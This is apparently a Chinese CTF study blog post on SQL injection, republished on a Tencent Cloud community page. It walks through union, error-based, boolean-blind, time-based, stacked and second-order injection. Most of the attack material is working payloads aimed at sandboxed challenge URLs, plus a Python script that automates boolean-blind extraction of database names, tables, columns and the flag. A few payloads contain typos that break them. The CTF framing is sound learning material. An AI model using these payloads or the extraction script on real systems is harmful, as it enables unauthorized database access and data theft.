前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql注入漏洞

sql注入漏洞

作者头像
h3110_w0r1d
发布2024-02-19 19:11:52
1810
发布2024-02-19 19:11:52
举报

sql注入漏洞

对information_shcema的理解

  1. shcema可以看作是房间
  2. table_schema是用来存放table表的房间,是数据库
  3. table_name是表的名字
  4. table_type是表的类型

对group_concat和concat_ws的理解

  1. group_concat可以将多行数据整合为一行
  2. concat可以将不同数据用第一个参数链接
  3. 可以写group_concat(concat_ws(‘:’,id,email_id))

数字型注入

判断是否有注入点

  1. 1 and 1=1正确
  2. 1 and 1=2不正确,所以可以判断是整数型注入

判断字段数

  1. order by 1,2,3,4….
  2. 可以使用二分法来判断
  3. 为下一步联合查询爆数据库名奠定基础
  4. 数据库ctf

爆数据库名

  1. ?id=1 and 1=2 union select 1.database()
  2. 注意此处联合查询需要前后字段数量一致,且字段数与上一步使用order by 判断的一致
HgvkKf.md.png
HgvkKf.md.png

爆表名

  1. ?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_name= ‘sqli’
  2. group_concat()函数是用来将多行转为一行,将组中的字符串连接成为具有各种选项的单个字符串
  3. table_name
  4. information_schema.tables
  5. 1’ and 1=2 union select 1,2,group_concat(username) from ctfshow_web.ctfshow_users where id=1 –+

爆列名

  1. ?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=’flag’
  2. column_name
  3. information_schema.columns
  4. table_name

查询flag

  1. ?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
  2. 根据库中的表来查询所有的列中带flag的
HgvAr8.md.png
HgvAr8.md.png

字符型注入

判断能否根据输入的不同结果不同

  1. 输入1,2,3…看是否有不同的数据

判断注入点

  1. 1 and 1=1;和1 and 1=2都没错
  2. 1’ and 1=1 –+ 没有问题
  3. 1’ and 1=2 –+报错
  4. 报错是爆出语法错误
  5. 后面加上–+是为了产生闭合,屏蔽掉后面的多余单引号

判断字段数量

  1. ?id=1’ order by 2 没问题
  2. ?id=1’ order by 3 有问题

爆数据库名

  1. ?id=1’ and 1=2 union select 1,database() –+
  2. 得到数据库名为sqli

爆表名

  1. ?id=1’ and 1=2 union select 1,group_concat(concat_ws(‘:’,table_name)) from information_schema.tables where table_name=’flag’ –+

爆字段内容

  1. ?id=1’ and 1=2 union select 1,group_conat(concat_ws(‘:’,flag)) from sqli.flag

buuctf中的warmup

  1. 输入1和1’来判断是字符型还是数字型,发现是字符型注入
  2. 使用1’ or 1=1 #来万能绕过

报错注入

函数

extractvalue()
  1. extractvalue():从目标xml中返回包含所查询的字符串
  2. EXTRACTVALUE(XML_document,XPath_string)
  3. 第一个参数:XML_document是String格式,为XML文档对象的名称
  4. 第二个参数:Xpath_string(xpath格式的字符串)
  5. concat:返回结果为连接参数产生的字符串
updatexml()
  1. updatexml(xml_document,xpath_string,new_value)
  2. 第一个参数:xml_document是string格式,为xml文档对象的名称
  3. 第二个参数:xpath_string
  4. 第三个参数:new_value,string格式,替换查找到符合条件的数据
用database()爆数据库

information_schema

  1. information_schema.tables有表名
  2. information_schema.columns有列名

table

  1. table_schema=’数据库名字’,数据库的名称
  2. table_name=’表的名字’,查询满足某些条件的表名
  3. table_type表的类型

报错注入

extractvalue函数原理

对xml文件进行查询的函数,会从xml文件中返回所包含查询值的字符串,语法:

代码语言:javascript
复制
extractvalue('xml_document','Xpath_string')
extractvalue('目标文件名',;'在xml中查询的字符串')

第二个参数要求是xpath格式的字符串,语法正确是会按照路径 /该xml文件/要查询的字符串 进行查询

如果我们输入的Xpath_string不对就会报错,而如果页面回显sql报错信息就可以得到我们想要的信息了。

此处的xml_document可以是anything

而如果页面回显sql报错信息就可以得到我们想要的信息了

拼接方法

使用concat函数拼接一个错误的Xpath让mysql报错得到包含查询值的字符串

代码语言:javascript
复制
select(extractvalue(1,concat(0x7e,database)));

修改database()部分可以爆表,列,值

concat存在的意义就是让extractvalue函数的第二个参数出错,所以concat拼接的参数是个非法字符就行

extractvalue函数一次只能查询32长度

所以在爆表,列,值的时候需要加上limit x,1逐一查询(limit m,n跳过前m项数据后获取n条记录

代码语言:javascript
复制
假设有三列
select 1,2,(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1/1,1/2,1))))
例题ctfshow报错注入
代码语言:javascript
复制
http://challenge-cd4501bf2d967240.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,database())) --+
代码语言:javascript
复制
http://challenge-eddaa6cf232442c3.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)))--+

http://challenge-eddaa6cf232442c3.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’flag’ limit 0,1)))–+

http://challenge-eddaa6cf232442c3.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,(select flag from flag limit 0,1))) –+

http://challenge-eddaa6cf232442c3.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,(select flag from flag limit 1,1))) –+

然后就爆完了

布尔盲注

  1. 所谓盲注就是在服务器没有错误回显的时候完成注入攻击。
  2. 原理:boolean 根据注入信息返回true or fales 没有任何报错信息
  3. 即布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True或者false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息的一种方法

例子

代码语言:javascript
复制
playload:and length(database()) =8 --+ /判断数据库名长度
是否等于8
如果不等于
则返回错,并且返回index.php
如果等于就返回query_success
  1. 如果是错误,会回显报错
  2. 如果是正确的,会返回开始页面

例题:ctfhub布尔盲注

这一道题我看其它人的wp是数据库为空时还会返回空,一般情况下是数据库为空或者查询语句报错时都会报错,所以应该先判断空时是否会报错?id=1 and 0=1 –+

判断数据库名字的长度http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and length(database()) = 3 –+

判断数据库名字的长度http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and length(database()) = 4 –+

判断数据库名字http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and database() = ‘sqli’ –+

判断数据库中表的名字http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and (select table_name from information_schema.tables where table_schema=’sqli’ limit 0,1) = ‘flag’ –+ 这个地方加limit 0,1是因为不只有一个表

判断flag表中字段的名字http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and (select column_name from information_schema.columns where table_name=’flag’ limit 0,1) = ‘flag’ –+

后面实在是写不出来了,就跑一下吧

代码语言:javascript
复制
import requests
import time

urlOPEN = 'http://challenge-80bbba4d1e9ce716.sandbox.ctfhub.com:10080/?id='
starOperatorTime = [] 
mark = 'query_success'
 
def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
			# print(url+'%23')
			r = requests.get(url)
			if mark in r.text:
				name = name+i
				
				print(name)
				
				break
	print('database_name:',name)
	
		
	
database_name()
 
def table_name():
    list = []
    for k in range(0,4):
        name=''
        for j in range(1,9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
			    # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        list.append(name)
    print('table_name:',list)

#start = time.time()
table_name()
#stop = time.time()
#starOperatorTime.append(stop-start)
#print("所用的平均时间: " + str(sum(starOperatorTime)/100))

def column_name():
    list = []
    for k in range(0,3): #判断表里最多有4个字段
        name=''
        for j in range(1,9): #判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        list.append(name)
    print ('column_name:',list)

column_name()

def get_data():
        name=''
        for j in range(1,50): #判断一个值最多有51个字符组成
            for i in range(48,126):
                url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+chr(i)
                    print(name)
                    break
        print ('value:',name)
    
get_data()

最后用这个脚本跑出来了

函数

代码语言:javascript
复制
一.
1.count()函数:统计查询结果的数量;
2.length(str)函数:返回字符串 str的长度;
3.left()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误返回0
left((select database()),1)=‘s’ 同样的意思
4.regexp : select user() regexp ‘r’; user()的结果是root@localhost,regexp为匹配root的正则表达式
5.like : select user() like ‘ro%’; 匹配与regexp相似
6.substr(a,b,c): select substr() xxxx; substr(a,b,c)从位置b开始,截取a字符串的c位长度
7.mid(a,b,c): select mid(user(),1,2); mid(a,b,c)从位置b开始,截取a字符串的c位长度
8.ascii() 将某个字符转化为其ascii值
9.limit 0,1:元素索引是从0开始(不是1) 从元素索引位置为1的数据(即第2位)开始输出一个值

时间注入

简介

  1. 由于服务器端拼接了SQL语句,且正确和错误存在同样的回显,即是错误信息被过滤,可以通过页面响应时间进行按位判断数据。由于时间盲注中的函数是在数据库中执行的,但是sleep函数或者benchmark函数的过多执行会让服务器负载过高

原理

  1. 通过一个页面加载的时间延时来判断
  2. 但是这和网络,性能,设置的延时长短有关系
  3. 当对数据库进行查询操作,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0,通过控制sql语句的执行时间来判断
  4. 我认为就是后端设置,当不设置查询条件时,语句执行就会非常快,执行时间基本可以认为是0,后端设置了不到多少时间的查询就不会显示数据

函数

延时函数
if(exp1,exp2,exp3)
  1. 当exp1的值为true时会执行exp2,否则会执行exp3
sleep()

睡眠函数,可以使查询数据时回显数据的相应时间加长

sleep(N) 这里N是睡眠的时间

使用时可以配合if使用

代码语言:javascript
复制
if(ascii(substr(user(),1,1)) = 114,sleep(5),2) 这句话的意思是,如果user()中的第一个字符的ascii码为114时,睡眠5s,否则输出2,需要注意的是,这5s是在服务器的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间
benchmark函数
  1. benchmark函数原本是用来重复执行某个语句的函数
  2. benchmark(N,expression)
  3. N是执行的次数,expression是表达式,如果需要进行盲注,通常需要进行消耗时间和性能的计算,例如哈希计算函数MD5,将MD5函数重复执行数万次则可以达到延迟的效果,而具体的情况西药根据不同比赛的服务器性能来决定

实现过程:

判断注入点

和1=1返回页面相同,说明不是布尔盲注,是时间盲注

代码语言:javascript
复制
1' and 1=1 --+ 页面返回有数据
1' and 1=2 --+ 页面返回也有数据

判断可以使用的注入方法

代码语言:javascript
复制
sleep()判断能否利用时间盲注
1' and sleep(5) --+ 页面延时了,则为时间盲注

猜数据库名称长度

代码语言:javascript
复制
1' and if(length(database()) = 10,sleep(5),1) --+ 页面延时了,则当前数据库名称长度为10

猜测数据库名称(ASCII码)

代码语言:javascript
复制
1' and if(ascii(substr(database()))=107,sleep(5),1) --+ 如果页面延时了,则第一个字符的ascii码值为107

逻辑判断

判断长度

代码语言:javascript
复制
?id=1' and if(length(database())=8,sleep(10),1) --+ 如果页面窗口转了10s,说明长度为8

猜测字符(数据库名第一位) ?id=1’ and if(mid(database(),1,1)=’s’,10,0) –+ 如果页面跳转了10s,说明database的第一个字符为s

猜测字符(猜测第一个表名的第一位)

例题:ctfhub时间盲注

判断数据库名字长度

用二分法逐个字符判断数据库名字,例如这个地方先判断了第一个字符是s,(ascii(s) = 115

判断数据库中表的个数

代码语言:javascript
复制
http://challenge-24d32a3bc03290f9.sandbox.ctfhub.com:10800/?id=1 and if((select count(table_name) from information_schema.tables where table_schema='sqli') = 2,sleep(10),0) --+

逐个字符判断数据库中表的名字,(此处ascii(f) = 102)

代码语言:javascript
复制
http://challenge-24d32a3bc03290f9.sandbox.ctfhub.com:10800/?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 102,sleep(10),0) --+

猜测flag表的字段数

代码语言:javascript
复制
http://challenge-24d32a3bc03290f9.sandbox.ctfhub.com:10800/?id=1 and if((select count(column_name) from information_schema.columns where table_name = 'flag') = 1,sleep(10),0) --+

堆叠注入:

原理:

例题:sqli-labs38

  1. http://ddd9132e-2976-4217-b142-ebd59320c03c.challenge.ctf.show/?id=-1' union select 1,2,database() –+
  1. http://ddd9132e-2976-4217-b142-ebd59320c03c.challenge.ctf.show/?id=-1' union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 0,1) –+ 得到一共四个表
  1. http://ddd9132e-2976-4217-b142-ebd59320c03c.challenge.ctf.show/?id=-1' union select 1,2,(select column_name from information_schema.columns where table_name =’users’ limit 0,1) –+
  1. http://ddd9132e-2976-4217-b142-ebd59320c03c.challenge.ctf.show/?id=-1' union select 1,2,(select group_concat(id) from security.users limit 0,1) –+
注意是information_schema
  1. 是下划线不是点,命名时数字字母下划线,没有点!!!
  2. 点表示选择,而information_schema是一个表

二次注入

条件

  1. 必须含有insertupdate函数
  2. 变量可控原理: 绕过转义注入 魔术引号
  3. 已经存储(数据库,文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入
  4. 二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。 比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
实例:
  1. 注册用户(插入数据): insert xiaodi union select’
  2. 过滤: xiaodi union select'
  3. 进入数据库: xiaodi union select’
  4. 修改用户(修改数据库中的数据): update xiaodi union select’ 条件=用户名是谁 xiaodi’ union select update注入

步骤

  1. 插入恶意数据:进行数据库插入数据时,对其中的特殊字符进行了转义处理(转义只是为了校验),在写入数据库时又还原了原来的数据
  2. 应用恶意数据:开发者默认存入数据库中的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行下一步的校验处理

关键字

  1. 注册用户:insert xiaodi’
  2. 修改用户:update

二次注入功能点

过滤

过滤函数addslashes

  1. addslashes()函数在指定的预定义字符前添加反斜杠,这些字符是:单引号(’)、双引号(”)、反斜线(\)与NUL(NULL字符)。
  2. 定义:string addslashes ( string $str )

工具

seay

  1. 关键字搜索,使用全局搜索,搜索可控变量或者执行函数
  2. 搜索例如select update insert 等sql语句函数,看看是否有可控变量,没有可控变量就是死sql语句,无法进行sql注入
  3. 函数查询
  4. 找到具体函数之后,右键定位函数使用的位置
步骤
  1. 搜索select
  2. 找到变量
  3. 找到变量调用函数
  4. 右键定位函数调用位置
  5. 看看页面和数据库的互动,根据回显判断注入点
判断过滤机制
  1. 看配置文件,看配置文件的关键字,例如:fun、inc
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-02-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • sql注入漏洞
    • 对information_shcema的理解
      • 对group_concat和concat_ws的理解
        • 数字型注入
          • 判断是否有注入点
          • 判断字段数
          • 爆数据库名
          • 爆表名
          • 爆列名
          • 查询flag
        • 字符型注入
          • 判断能否根据输入的不同结果不同
          • 判断注入点
          • 判断字段数量
          • 爆数据库名
          • 爆表名
          • 爆字段内容
          • buuctf中的warmup
        • 报错注入
          • 函数
      • information_schema
      • table
        • 报错注入
          • extractvalue函数原理
          • 而如果页面回显sql报错信息就可以得到我们想要的信息了
          • 拼接方法
        • 布尔盲注
          • 例子
          • 例题:ctfhub布尔盲注
          • 函数
        • 时间注入
          • 简介
          • 原理
          • 函数
          • 实现过程:
          • 逻辑判断
          • 例题:ctfhub时间盲注
        • 堆叠注入:
          • 原理:
          • 例题:sqli-labs38
        • 二次注入
          • 条件
          • 步骤
          • 关键字
          • 二次注入功能点
        • 过滤
          • 过滤函数addslashes
        • 工具
          • seay
      相关产品与服务
      数据库
      云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档